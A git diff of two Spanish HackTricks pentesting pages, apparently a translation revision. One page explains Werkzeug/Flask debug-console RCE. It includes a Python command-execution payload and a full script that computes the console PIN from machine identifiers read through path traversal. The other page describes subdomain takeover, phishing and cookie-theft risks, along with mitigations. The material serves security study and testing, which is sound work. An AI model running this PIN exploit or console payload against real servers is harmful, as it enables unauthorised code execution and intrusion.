+# Werkzeug / Depuración de Flask
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende a hackear AWS desde cero hasta convertirte en un experto conhtARTE (Experto en Equipos Rojos de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
-**Configuración inmediatamente disponible para evaluación de vulnerabilidades y pentesting**. Realiza un pentest completo desde cualquier lugar con más de 20 herramientas y características que van desde el reconocimiento hasta la elaboración de informes. No reemplazamos a los pentesters: desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, obtener shells y divertirse.
+**Configuración instantánea disponible para evaluación de vulnerabilidades y pruebas de penetración**. Ejecuta una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, abrir shells y divertirse.
{% embed url="https://pentest-tools.com/" %}
-## Consola RCE
+## RCE de Consola
-Si el modo debug está activo, podrías intentar acceder a `/console` y obtener RCE.
+Si la depuración está activa, podrías intentar acceder a `/console` y obtener RCE.
```python
__import__('os').popen('whoami').read();
```
@@ -30,62 +30,41 @@ __import__('os').popen('whoami').read();
También hay varios exploits en internet como [este](https://github.com/its-arun/Werkzeug-Debug-RCE) o uno en metasploit.
-## Protegido por PIN - Path Traversal
+## Protegido con PIN - Traversal de Ruta
-En algunas ocasiones, el endpoint **`/console`** va a estar protegido por un pin. Si tienes una vulnerabilidad de **file traversal**, puedes obtener toda la información necesaria para generar ese pin.
+En algunas ocasiones, el endpoint **`/console`** estará protegido por un PIN. Si tienes una **vulnerabilidad de traversal de archivos**, puedes filtrar toda la información necesaria para generar ese PIN.
-### Exploit de PIN de Consola Werkzeug
+### Exploit de PIN de la Consola Werkzeug
-**Copiado del primer enlace.**\
-Ver mensaje de "consola bloqueada" de Werkzeug forzando la página de error de depuración en la app.
+Forzar una página de error de depuración en la aplicación para ver esto:
```
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
-Localice la consola de depuración de Werkzeug vulnerable en la ruta `vulnerable-site.com/console`, pero está bloqueada por un número PIN secreto.
+Un mensaje sobre el escenario de "consola bloqueada" se encuentra al intentar acceder a la interfaz de depuración de Werkzeug, indicando la necesidad de un PIN para desbloquear la consola. Se sugiere explotar el PIN de la consola analizando el algoritmo de generación de PIN en el archivo de inicialización de depuración de Werkzeug (`__init__.py`). El mecanismo de generación de PIN se puede estudiar desde el [**repositorio de código fuente de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), aunque se recomienda obtener el código del servidor real a través de una vulnerabilidad de traversal de archivos debido a posibles discrepancias de versión.
-Puede revertir el algoritmo que genera el PIN de la consola. Inspeccione el archivo `__init__.py` de depuración de Werkzeug en el servidor, por ejemplo, `python3.5/site-packages/werkzeug/debug/__init__.py`. Puede ver el [**repositorio de código fuente de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py) **para verificar cómo se genera el PIN**, pero es mejor obtener el código fuente a través de una **vulnerabilidad de recorrido de archivos** ya que las versiones probablemente difieran.
+Para explotar el PIN de la consola, se necesitan dos conjuntos de variables, `probably_public_bits` y `private_bits`:
-Variables necesarias para explotar el PIN de la consola:
-```python
-probably_public_bits = [
-username,
-modname,
-getattr(app, '__name__', getattr(app.__class__, '__name__')),
-getattr(mod, '__file__', None),
-]
-
-private_bits = [
-str(uuid.getnode()),
-get_machine_id(),
-]
-```
#### **`probably_public_bits`**
+- **`username`**: Se refiere al usuario que inició la sesión de Flask.
+- **`modname`**: Normalmente designado como `flask.app`.
+- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Generalmente se resuelve como **Flask**.
+- **`getattr(mod, '__file__', None)`**: Representa la ruta completa a `app.py` dentro del directorio de Flask (por ejemplo, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Si `app.py` no es aplicable, **intente con `app.pyc`**.
-* **`username`** es el usuario que inició este Flask
-* **`modname`** es flask.app
-* `getattr(app, '__name__', getattr(app.__class__, '__name__'))` es **Flask**
-* `getattr(mod, '__file__', None)` es la **ruta absoluta de `app.py`** en el directorio de flask (p. ej., `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Si `app.py` no funciona, **intenta con `app.pyc`**
-
-#### `private_bits`
-
-* `uuid.getnode()` es la **dirección MAC del ordenador actual**, `str(uuid.getnode())` es la expresión decimal de la dirección MAC.
-
-* Para **encontrar la dirección MAC del servidor**, es necesario saber qué **interfaz de red se está utilizando** para servir la aplicación (p. ej., `ens3`). Si se desconoce, **filtrar `/proc/net/arp`** para obtener el ID del dispositivo y luego **filtrar** la dirección MAC en **`/sys/class/net//address`**.
-
-Convertir **de dirección hexadecimal a representación decimal** ejecutando en python, por ejemplo:
-
+#### **`private_bits`**
+- **`uuid.getnode()`**: Obtiene la dirección MAC de la máquina actual, con `str(uuid.getnode())` traduciéndola a un formato decimal.
+- Para **determinar la dirección MAC del servidor**, se debe identificar la interfaz de red activa utilizada por la aplicación (por ejemplo, `ens3`). En casos de incertidumbre, **filtrar `/proc/net/arp`** para encontrar el ID del dispositivo, luego **extraer la dirección MAC** de **`/sys/class/net//address`**.
+- La conversión de una dirección MAC hexadecimal a decimal se puede realizar de la siguiente manera:
```python
-# Era 56:00:02:7a:23:ac
+# Ejemplo de dirección MAC: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
```
-* `get_machine_id()` concatena los **valores en `/etc/machine-id`** o **`/proc/sys/kernel/random/boot_id`** con la **primera línea de `/proc/self/cgroup`** después de la última barra (`/`).
+- **`get_machine_id()`**: Concatena datos de `/etc/machine-id` o `/proc/sys/kernel/random/boot_id` con la primera línea de `/proc/self/cgroup` después de la última barra inclinada (`/`).
-
-Código de get_machine_id()
+Código para `get_machine_id()`
```python
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
@@ -125,23 +104,23 @@ try:
```
-Una vez todas las variables estén preparadas, ejecute el script de exploit para generar el PIN de la consola Werkzeug:
+Una vez recopilados todos los datos necesarios, se puede ejecutar el script de explotación para generar el PIN de la consola Werkzeug. El script utiliza los `probably_public_bits` y `private_bits` ensamblados para crear un hash, que luego se somete a un procesamiento adicional para producir el PIN final. A continuación se muestra el código Python para ejecutar este proceso:
```python
import hashlib
from itertools import chain
probably_public_bits = [
-'web3_user',# username
-'flask.app',# modname
-'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
-'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
+'web3_user', # username
+'flask.app', # modname
+'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
+'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
-'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address
-'d4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
+'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
+'d4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
-#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
+# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
@@ -150,7 +129,7 @@ if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
-#h.update(b'shittysalt')
+# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
@@ -159,7 +138,7 @@ if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
-rv =None
+rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
@@ -171,8 +150,11 @@ rv = num
print(rv)
```
+Este script produce el PIN mediante el hash de los bits concatenados, añadiendo sales específicas (`cookiesalt` y `pinsalt`), y formateando la salida. Es importante tener en cuenta que los valores reales de `probably_public_bits` y `private_bits` deben obtenerse con precisión del sistema objetivo para asegurar que el PIN generado coincida con el esperado por la consola Werkzeug.
+
+
{% hint style="success" %}
-Si estás en una **versión antigua** de Werkzeug, intenta cambiar el **algoritmo de hashing a md5** en lugar de sha1.
+Si estás en una **versión antigua** de Werkzeug, intenta cambiar el **algoritmo de hash a md5** en lugar de sha1.
{% endhint %}
## Referencias
@@ -182,7 +164,7 @@ Si estás en una **versión antigua** de Werkzeug, intenta cambiar el **algoritm
-**Configuración disponible al instante para evaluación de vulnerabilidades y pentesting**. Ejecuta un pentest completo desde cualquier lugar con más de 20 herramientas y características que van desde reconocimiento hasta reportes. No reemplazamos a los pentesters - desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para investigar a fondo, obtener shells y divertirse.
+**Configuración instantánea disponible para evaluación de vulnerabilidades y pruebas de penetración**. Ejecuta una pentest completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la reconstrucción hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, abrir shells y divertirse.
{% embed url="https://pentest-tools.com/" %}
@@ -192,10 +174,10 @@ Si estás en una **versión antigua** de Werkzeug, intenta cambiar el **algoritm
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/pentesting-web/domain-subdomain-takeover.md b/pentesting-web/domain-subdomain-takeover.md
index d2910c6db..353c33cfc 100644
--- a/pentesting-web/domain-subdomain-takeover.md
+++ b/pentesting-web/domain-subdomain-takeover.md
@@ -1,42 +1,42 @@
-# Toma de control de Dominio/Subdominio
+# Toma de control de dominio/subdominio
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
\
-Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, potenciados por las herramientas comunitarias **más avanzadas**.\
-Obtén Acceso Hoy:
+Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las **herramientas comunitarias más avanzadas** del mundo.\
+¡Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## Toma de control de Dominio
+## Toma de control de dominio
-Si descubres algún dominio (dominio.tld) que **está siendo utilizado por algún servicio dentro del alcance** pero la **empresa** ha p**e**rdido la **propiedad** de este, puedes intentar **registrarlo** (si es lo suficientemente barato) y hacerlo saber a la empresa. Si este dominio está recibiendo **información sensible** como una cookie de sesión a través de un parámetro **GET** o en el encabezado **Referer**, esto es definitivamente una **vulnerabilidad**.
+Si descubres que algún dominio (dominio.tld) está siendo utilizado por algún servicio dentro del **alcance** pero la **empresa** ha **perdido la propiedad** del mismo, puedes intentar **registrarlo** (si es lo suficientemente barato) y notificar a la empresa. Si este dominio está recibiendo alguna **información sensible** como una cookie de sesión a través de un parámetro **GET** o en la cabecera **Referer**, esto es sin duda una **vulnerabilidad**.
-### Toma de control de Subdominio
+### Toma de control de subdominio
-Un subdominio de la empresa apunta a un **servicio de terceros con un nombre no registrado**. Si puedes **crear** una **cuenta** en este **servicio de terceros** y **registrar** el **nombre** en uso, puedes realizar la toma de control del subdominio.
+Un subdominio de la empresa apunta a un **servicio de terceros con un nombre no registrado**. Si puedes **crear** una **cuenta** en este **servicio de terceros** y **registras** el **nombre** que se está utilizando, puedes llevar a cabo la toma de control del subdominio.
-Hay varias herramientas con diccionarios para verificar posibles tomas de control:
+Existen varias herramientas con diccionarios para verificar posibles tomas de control:
* [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz)
* [https://github.com/blacklanternsecurity/bbot](https://github.com/blacklanternsecurity/bbot)
* [https://github.com/punk-security/dnsReaper](https://github.com/punk-security/dnsReaper)
* [https://github.com/haccer/subjack](https://github.com/haccer/subjack)
-* [https://github.com/anshumanbh/tko-subs](https://github.com/anshumanbh/tko-subs)
+* [https://github.com/anshumanbh/tko-sub](https://github.com/anshumanbh/tko-subs)
* [https://github.com/ArifulProtik/sub-domain-takeover](https://github.com/ArifulProtik/sub-domain-takeover)
* [https://github.com/SaadAhmedx/Subdomain-Takeover](https://github.com/SaadAhmedx/Subdomain-Takeover)
* [https://github.com/Ice3man543/SubOver](https://github.com/Ice3man543/SubOver)
@@ -44,161 +44,69 @@ Hay varias herramientas con diccionarios para verificar posibles tomas de contro
* [https://github.com/antichown/subdomain-takeover](https://github.com/antichown/subdomain-takeover)
* [https://github.com/musana/mx-takeover](https://github.com/musana/mx-takeover)
-#### Escaneo de Subdominios Apropiables con [BBOT](https://github.com/blacklanternsecurity/bbot):
+#### Escaneo de subdominios secuestrables con [BBOT](https://github.com/blacklanternsecurity/bbot):
-Las verificaciones de toma de control de subdominios están incluidas en la enumeración de subdominios predeterminada de BBOT. Las firmas se obtienen directamente de [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz).
+Las comprobaciones de toma de control de subdominios están incluidas en la enumeración de subdominios predeterminada de BBOT. Las firmas se extraen directamente de [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz).
```bash
bbot -t evilcorp.com -f subdomain-enum
```
-### Generación de Toma de Subdominio a través de DNS Wildcard
+### Generación de Subdominio Takeover a través de DNS Wildcard
-Cuando se utiliza DNS wildcard en un dominio, cualquier subdominio solicitado de ese dominio que no tenga una dirección explícitamente diferente será **resuelto a la misma información**. Esto podría ser una dirección IP A, un CNAME...
+Cuando se utiliza un comodín DNS en un dominio, cualquier subdominio solicitado de ese dominio que no tenga una dirección diferente explícitamente será **resuelto a la misma información**. Esto podría ser una dirección IP A, un CNAME...
-Por ejemplo, si `*.testing.com` está configurado con wildcard a `1.1.1.1`. Entonces, `not-existent.testing.com` apuntará a `1.1.1.1`.
+Por ejemplo, si `*.testing.com` está configurado como comodín a `1.1.1.1`. Entonces, `not-existent.testing.com` apuntará a `1.1.1.1`.
-Sin embargo, si en lugar de apuntar a una dirección IP, el administrador del sistema lo dirige a un **servicio de terceros a través de CNAME**, como un **subdominio de github** por ejemplo (`sohomdatta1.github.io`). Un atacante podría **crear su propia página de terceros** (en Github en este caso) y decir que `something.testing.com` está apuntando allí. Debido a que el **CNAME wildcard** estará de acuerdo, el atacante podrá **generar subdominios arbitrarios para el dominio de la víctima apuntando a sus páginas**.
+Sin embargo, si en lugar de apuntar a una dirección IP, el administrador de sistemas lo apunta a un **servicio de terceros a través de un CNAME**, como un **subdominio de github** por ejemplo (`sohomdatta1.github.io`). Un atacante podría **crear su propia página de terceros** (en Github en este caso) y decir que `something.testing.com` apunta allí. Debido a que el **comodín CNAME** lo permite, el atacante podrá **generar subdominios arbitrarios para el dominio de la víctima apuntando a sus páginas**.
-Puedes encontrar un ejemplo de esta vulnerabilidad en el write-up del CTF: [https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api)
+Puedes encontrar un ejemplo de esta vulnerabilidad en el write-up de CTF: [https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api)
-## Explotando una Toma de Subdominio
+## Explotando un subdominio takeover
-**Esta información fue copiada de** [**https://0xpatrik.com/subdomain-takeover/**](https://0xpatrik.com/subdomain-takeover/)
+El subdominio takeover es esencialmente un spoofing DNS para un dominio específico en Internet, lo que permite a los atacantes establecer registros A para un dominio, haciendo que los navegadores muestren contenido desde el servidor del atacante. Esta **transparencia** en los navegadores hace que los dominios sean propensos a phishing. Los atacantes pueden emplear [_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting) o [_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) con este propósito. Especialmente vulnerables son los dominios donde la URL en un correo electrónico de phishing parece legítima, engañando a los usuarios y evadiendo los filtros de spam debido a la confianza inherente del dominio.
-Recientemente, [escribí](https://0xpatrik.com/subdomain-takeover-basics/) sobre los conceptos básicos de la toma de subdominio. Aunque el concepto ahora es generalmente bien entendido, noté que la gente suele tener dificultades para comprender los riesgos que trae consigo la toma de subdominio. En este post, profundizo y cubro los riesgos más notables de _toma de subdominio_ desde mi perspectiva.
+Consulta este [post para más detalles](https://0xpatrik.com/subdomain-takeover/)
-_Nota: Algunos riesgos son mitigados implícitamente por el proveedor de la nube. Por ejemplo, cuando la toma de subdominio es posible en Amazon CloudFront, no hay forma de configurar registros TXT para eludir las verificaciones de SPF. Por lo tanto, el post tiene como objetivo proporcionar riesgos sobre la toma general de subdominio. Sin embargo, la mayoría de estos se aplican también a los proveedores de la nube._
+### **Certificados SSL**
+Los certificados SSL, si son generados por atacantes a través de servicios como [_Let's Encrypt_](https://letsencrypt.org/), añaden legitimidad a estos dominios falsos, haciendo que los ataques de phishing sean más convincentes.
-### Transparencia Para un Navegador
+### **Seguridad de Cookies y Transparencia del Navegador**
+La transparencia del navegador también se extiende a la seguridad de las cookies, gobernada por políticas como la [Política de mismo origen](https://en.wikipedia.org/wiki/Same-origin_policy). Las cookies, a menudo utilizadas para gestionar sesiones y almacenar tokens de inicio de sesión, pueden ser explotadas a través de un subdominio takeover. Los atacantes pueden **recopilar cookies de sesión** simplemente dirigiendo a los usuarios a un subdominio comprometido, poniendo en peligro los datos y la privacidad del usuario.
-Para comenzar, veamos la resolución de DNS donde se involucra CNAME:
+### **Correos Electrónicos y Subdominio Takeover**
+Otro aspecto del subdominio takeover implica servicios de correo electrónico. Los atacantes pueden manipular los **registros MX** para recibir o enviar correos electrónicos desde un subdominio legítimo, mejorando la eficacia de los ataques de phishing.
-![Resolución de DNS](https://0xpatrik.com/content/images/2018/05/resolution-2.png)
+### **Riesgos de Orden Superior**
+Otros riesgos incluyen el **takeover de registros NS**. Si un atacante obtiene control sobre un registro NS de un dominio, potencialmente puede dirigir una parte del tráfico a un servidor bajo su control. Este riesgo se amplifica si el atacante establece un alto **TTL (Tiempo de Vida)** para los registros DNS, prolongando la duración del ataque.
-Nota que el paso #7 solicita _sub.example.com_ en lugar de _anotherdomain.com_. Esto se debe a que el navegador web no es consciente de que _anotherdomain.com_ siquiera existe. Aunque se use un registro CNAME, la barra de URL en el navegador todavía contiene _sub.example.com_. Esta es la **transparencia** para el navegador. Si piensas en eso, el navegador deposita toda su confianza en el resolver de DNS para proporcionar información precisa sobre el dominio. Simplificado, la toma de subdominio es un spoofing de DNS para un dominio particular en todo Internet. ¿Por qué? Porque cualquier navegador que realice la resolución de DNS en un dominio afectado recibe un registro A establecido por un atacante. El navegador entonces muestra felizmente lo que sea que reciba de este servidor (pensando que es legítimo).
+### **Estrategias de Mitigación**
+Las estrategias de mitigación incluyen:
+1. **Eliminar registros DNS vulnerables** - Esto es efectivo si el subdominio ya no es necesario.
+2. **Reclamar el nombre de dominio** - Registrar el recurso con el proveedor de la nube respectivo o recomprar un dominio caducado.
+3. **Monitoreo regular de vulnerabilidades** - Herramientas como [aquatone](https://github.com/michenriksen/aquatone) pueden ayudar a identificar dominios susceptibles. Las organizaciones también deben revisar sus procesos de gestión de infraestructura, asegurando que la creación de registros DNS sea el último paso en la creación de recursos y el primer paso en la destrucción de recursos.
-Un dominio así crea un escenario perfecto para phishing. Los atacantes a menudo usan [_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting) o los llamados [_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) para imitar el dominio/sitio web legítimo con fines de phishing. Después de que un atacante toma control de algún nombre de dominio legítimo, es casi imposible para un usuario regular decir si el contenido en el dominio es proporcionado por una parte legítima o un atacante. Tomemos por ejemplo un banco aleatorio. Si uno de los subdominios del banco es vulnerable a la toma de subdominio, un atacante puede crear un formulario HTML que imita el formulario de inicio de sesión al sistema de banca por internet del banco. Luego, un atacante puede ejecutar una campaña de phishing dirigida o masiva pidiendo a los usuarios que inicien sesión y cambien sus contraseñas. En esta etapa, las contraseñas son capturadas por un atacante que tiene el control del dominio en cuestión. La URL proporcionada en el correo electrónico de phishing es un subdominio legítimo de un banco. Por lo tanto, los usuarios no son conscientes de algo malicioso sucediendo. Los filtros de spam y otras medidas de seguridad también son menos propensos a marcar el correo electrónico como spam o malicioso porque contiene nombres de dominio con mayor confianza.
+Para los proveedores de nube, verificar la propiedad del dominio es crucial para prevenir subdominio takeovers. Algunos, como [GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/), han reconocido este problema e implementado mecanismos de verificación de dominio.
-De hecho, el nombre de dominio en sí juega un papel significativo en una campaña exitosa. Tener un subdominio de nivel 5 vulnerable a la toma de subdominio es mucho menos _"legítimo"_ que tener un subdominio de nivel 2 con algún nombre de subdominio amigable. Vi varios ejemplos de subdominios perfectos para phishing, incluyendo:
-
-* _purchases.SOMETHING.com_
-* _www.SOMETHING.com_
-* _online.SOMETHING.com_
-* _shop.SOMETHING.com_
-
-Todos ellos vulnerables a la toma de subdominio. Todos ellos eran grandes marcas. ¿Hablando de phishing perfecto?
-
-Sin embargo, las campañas recientes de phishing alojan contenido en dominios con nombres de dominio largos que incluyen el nombre de la marca (ver [ejemplo de Apple](https://www.phishtank.com/target\_search.php?target\_id=183\&valid=y\&active=All\&Search=Search)). Teniendo un certificado SSL válido (más sobre eso a continuación), una palabra clave en el nombre del dominio y un sitio web que imita el sitio web de la marca objetivo, la gente tiende a caer en estos ataques. Piensa en las posibilidades con un subdominio legítimo de esta marca.
+# Referencias
+* [https://0xpatrik.com/subdomain-takeover/](https://0xpatrik.com/subdomain-takeover/)
\
-Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
-Obtén Acceso Hoy:
-
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-
-### Certificados SSL
-
-El ataque anterior puede ser mejorado generando un certificado SSL válido. Autoridades de certificación como [_Let's Encrypt_](https://letsencrypt.org/) permiten la verificación automática de la propiedad de un dominio mediante la verificación de contenido:
-
-![Flujo de Let's Encrypt](https://0xpatrik.com/content/images/2018/05/letsencrypt.png)
-
-Es decir, si hay un contenido específico colocado en una ruta de URL específica, Let's Encrypt aprobará la emisión de un certificado para un dominio dado. Dado que un atacante tiene control total sobre el contenido del dominio que es vulnerable a la toma de subdominio, esta verificación se puede realizar en cuestión de minutos. Por lo tanto, los atacantes también son capaces de generar un certificado SSL para dicho dominio, lo que solo disminuye la sospecha de un ataque de phishing.
-
-### Robo de Cookies
-
-Esto va de la mano con la transparencia del navegador pero tiene consecuencias diferentes. El navegador web implementa muchas políticas de seguridad para prevenir que sitios web maliciosos causen daño. Esto incluye cosas como la [Política del mismo origen](https://en.wikipedia.org/wiki/Same-origin_policy). Una de las principales responsabilidades de seguridad de un navegador es asegurar las cookies guardadas. ¿Por qué? Mientras que HTTP es un protocolo sin estado, las cookies se utilizan para rastrear sesiones. Por conveniencia, los usuarios a menudo guardan cookies por un período extendido para evitar iniciar sesión cada vez. Estas cookies, por lo tanto, actúan como un token de inicio de sesión que se presenta al servidor web y el usuario es identificado. Ataques como el [_Secuestro de sesión_](https://en.wikipedia.org/wiki/Session_hijacking) evolucionaron naturalmente de este concepto.
-
-El navegador presenta automáticamente las cookies almacenadas con cada solicitud al dominio que las emitió. Hay una excepción a eso, tal que las cookies podrían ser compartidas a través de subdominios ([leer aquí](https://tools.ietf.org/html/rfc6265#section-8.6), también nota la sección 8.7). Esto suele ocurrir cuando el sitio web utiliza un sistema de [Inicio de sesión único](https://en.wikipedia.org/wiki/Single_sign-on) (SSO) basado en cookies. Usando SSO, un usuario puede iniciar sesión usando un subdominio y compartir el mismo token de sesión a través de una amplia gama de subdominios. La sintaxis para establecer una cookie regular es la siguiente:
-```
-HTTP/1.1 200 OK
-Set-Cookie: name=value
-```
-Si esta cookie es emitida por un servidor web que reside en _example.com_, solo este servidor puede acceder a esta cookie más adelante. Sin embargo, la cookie puede ser emitida para un dominio comodín (por las razones explicadas anteriormente) de la siguiente manera:
-```
-HTTP/1.1 200 OK
-Set-Cookie: name=value; domain=example.com
-```
-```markdown
-La cookie se incluirá en las solicitudes HTTP a _example.com_, pero también a cualquier otro subdominio como _subdomain.example.com_. Este comportamiento crea una posibilidad de ataques de alta severidad utilizando la toma de control de subdominios. Supongamos que cierto dominio está utilizando cookies de sesión para un dominio comodín. Si hay un subdominio vulnerable a la toma de control de subdominios, lo único necesario para obtener el token de sesión del usuario es engañarlo para que visite el subdominio vulnerable. La cookie de sesión se envía automáticamente con la solicitud HTTP.
-
-El navegador también implementa mecanismos de seguridad adicionales para las cookies:
-
